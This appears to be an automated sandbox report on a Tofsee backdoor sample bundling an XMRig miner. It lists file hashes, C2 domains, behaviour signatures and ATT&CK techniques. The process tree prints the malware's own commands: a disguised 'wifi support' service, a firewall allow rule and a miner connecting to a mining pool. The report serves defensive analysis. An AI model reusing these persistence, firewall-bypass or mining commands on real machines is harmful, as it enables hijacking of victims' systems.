Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    06-06-2022 10:30

General

  • Target

    463a8709d458aebc97ab86e3550798dcbdc713413f96ecb7f350b349f7533b0c.exe

  • Size

    261KB

  • MD5

    c1790ce24f666c38be9ad5e7bc329bad

  • SHA1

    49ecbd9382d4e5986d78b893be72391aa6f61f66

  • SHA256

    463a8709d458aebc97ab86e3550798dcbdc713413f96ecb7f350b349f7533b0c

  • SHA512

    11c883dea9671a3d39038f6bb39bbd978d419fbbc6837e10143593b88c35a0390efcf3317e604b14e10fb108a64a40d9a4c3820baf421ae2dc0eddcfccbf51ad

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\463a8709d458aebc97ab86e3550798dcbdc713413f96ecb7f350b349f7533b0c.exe
    "C:\Users\Admin\AppData\Local\Temp\463a8709d458aebc97ab86e3550798dcbdc713413f96ecb7f350b349f7533b0c.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3248
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nfyioiyc\
      2⤵
        PID:4872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\posqmstk.exe" C:\Windows\SysWOW64\nfyioiyc\
        2⤵
          PID:4004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nfyioiyc binPath= "C:\Windows\SysWOW64\nfyioiyc\posqmstk.exe /d\"C:\Users\Admin\AppData\Local\Temp\463a8709d458aebc97ab86e3550798dcbdc713413f96ecb7f350b349f7533b0c.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nfyioiyc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nfyioiyc
          2⤵
          • Launches sc.exe
          PID:4916
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2352
      • C:\Windows\SysWOW64\nfyioiyc\posqmstk.exe
        C:\Windows\SysWOW64\nfyioiyc\posqmstk.exe /d"C:\Users\Admin\AppData\Local\Temp\463a8709d458aebc97ab86e3550798dcbdc713413f96ecb7f350b349f7533b0c.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4836
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4692
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4772

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\posqmstk.exe
        Filesize

        11.5MB

        MD5

        5ce8ac2d74b25b653e75d3458dd02704

        SHA1

        585f99a461520c0622da55771b2d9d0b87d40455

        SHA256

        f17d3139dd41ea11b3d54c98fdd433834a658d28480342525c2ee2da73a0cf7e

        SHA512

        ee537900b237ed88ae0fd24d17a24e569dc1cc99298b28362714050f51447a5c220d766466b30ed43c807ce08c9dbd2790eebd371b39024d04861ae88d324878

      • C:\Windows\SysWOW64\nfyioiyc\posqmstk.exe
        Filesize

        11.5MB

        MD5

        5ce8ac2d74b25b653e75d3458dd02704

        SHA1

        585f99a461520c0622da55771b2d9d0b87d40455

        SHA256

        f17d3139dd41ea11b3d54c98fdd433834a658d28480342525c2ee2da73a0cf7e

        SHA512

        ee537900b237ed88ae0fd24d17a24e569dc1cc99298b28362714050f51447a5c220d766466b30ed43c807ce08c9dbd2790eebd371b39024d04861ae88d324878

      • memory/1644-182-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1644-184-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1644-185-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1644-187-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1644-188-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1644-186-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1644-183-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/1644-181-0x0000000000000000-mapping.dmp
      • memory/2352-222-0x0000000000000000-mapping.dmp
      • memory/3248-158-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-164-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-131-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-132-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-133-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-135-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-134-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-137-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-136-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-139-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-138-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-140-0x0000000002F10000-0x000000000305A000-memory.dmp
        Filesize

        1.3MB

      • memory/3248-141-0x0000000002EE0000-0x0000000002EF3000-memory.dmp
        Filesize

        76KB

      • memory/3248-142-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-143-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-144-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-145-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-146-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-147-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-148-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-149-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-150-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-151-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-153-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-155-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-154-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-152-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-156-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-157-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-117-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-159-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-160-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-161-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-163-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-162-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-130-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-165-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-166-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-169-0x0000000000400000-0x0000000002DB8000-memory.dmp
        Filesize

        41.7MB

      • memory/3248-228-0x0000000002EE0000-0x0000000002EF3000-memory.dmp
        Filesize

        76KB

      • memory/3248-227-0x0000000000400000-0x0000000002DB8000-memory.dmp
        Filesize

        41.7MB

      • memory/3248-118-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-119-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-120-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-121-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-122-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-123-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-129-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-128-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-127-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-126-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/3248-125-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4004-177-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4004-176-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4004-175-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4004-174-0x0000000000000000-mapping.dmp
      • memory/4004-178-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4004-179-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4368-192-0x0000000000000000-mapping.dmp
      • memory/4692-302-0x0000000002B99A6B-mapping.dmp
      • memory/4692-393-0x0000000002B90000-0x0000000002BA5000-memory.dmp
        Filesize

        84KB

      • memory/4692-485-0x0000000002B90000-0x0000000002BA5000-memory.dmp
        Filesize

        84KB

      • memory/4772-520-0x000000000269259C-mapping.dmp
      • memory/4836-261-0x0000000002DC0000-0x0000000002E6E000-memory.dmp
        Filesize

        696KB

      • memory/4836-321-0x0000000000400000-0x0000000002DB8000-memory.dmp
        Filesize

        41.7MB

      • memory/4872-173-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-170-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-172-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-171-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4872-167-0x0000000000000000-mapping.dmp
      • memory/4872-168-0x0000000077820000-0x00000000779AE000-memory.dmp
        Filesize

        1.6MB

      • memory/4916-203-0x0000000000000000-mapping.dmp